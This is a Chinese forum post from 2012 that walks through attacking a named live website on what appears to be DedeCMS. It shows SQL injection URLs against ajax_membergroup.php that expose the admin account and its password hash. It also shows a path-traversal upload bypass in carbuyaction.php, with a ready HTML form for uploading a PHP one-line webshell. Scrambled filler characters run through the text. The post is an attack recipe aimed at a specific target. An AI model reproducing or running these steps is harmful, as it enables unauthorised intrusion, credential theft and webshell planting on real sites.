①注入漏洞。
* e' p5 h1 z" Z. Q4 \; m4 M这站 http://www.political-security.com/' X- @ Q U y8 E& h( y4 r
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
) n9 M0 t3 v* D# m3 p9 ywww.political-security.com/data/mysql_error_trace.inc 爆后台
* a0 j+ L& z: K( |, k& |然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
1 h8 d. ~- M( \5 l4 P) M* X然后写上语句
1 y4 }( K! o) d g查看管理员帐号% x u8 H; [# D3 d) N5 z8 g
http://www.political-security.co ... &membergroup=@`5 m; v7 }. w7 \4 p% O" |( o
. T( K+ y' X' C R+ u
admin % x( S& V1 `1 {7 c+ L' o
( L/ m! @ u$ _' J# T6 d查看管理员密码
8 ?9 G' ~* k# @. ?( W% _ http://www.political-security.co ... &membergroup=@`
! X% x% q" U' t+ q/ | k
" @. b4 {/ p" \5 \$ q8d29b1ef9f8c5a5af4299 v1 M% b+ d5 O9 Q7 k/ y
; ~0 n7 e& |+ ? k" k. v( [查看管理员密码
; l0 p) c& }2 s) K
) L& Q3 ?+ d1 H' v6 \2 O b得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5
4 x. ^! `3 H2 O' s& s7 U
# Z! a9 @' n4 N& p0 [+ u9 o% \ |8d2; z# d2 k( B {- x6 l8 s4 z
9b1ef9f8c5a5af42* @& R& k2 J w; l
9: b$ M% O! e* ~2 w0 k
6 T: _5 n% `* ]0 [cmd5没解出来 只好测试第二个方法$ \, t7 c: T8 q- ~) I4 F; T& n& ?
3 N% @3 A: g* u0 y' d3 n3 P: B- x
7 ~+ x7 t" y1 F1 e0 K: p②上传漏洞：! Z1 ~1 s+ P7 K8 v
+ C, C* Q' M% t& ]3 V只要登陆会员中心，然后访问页面链接
v) L1 a% Y X, w9 e“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”4 `& Y1 q, k, C, W7 N1 |0 a
! l1 V8 [+ I. @4 Q' j7 t+ h3 D如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”0 m* E7 g( H1 h1 d: I
: h5 f; ~" R' ^* B* H6 ]
于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
6 r6 [7 I! u$ K9 }! R
( x3 u: r7 @8 R1 i) M<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
* W3 k. D6 }& M6 x% x或者
, k# | X3 k7 L9 y' @即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对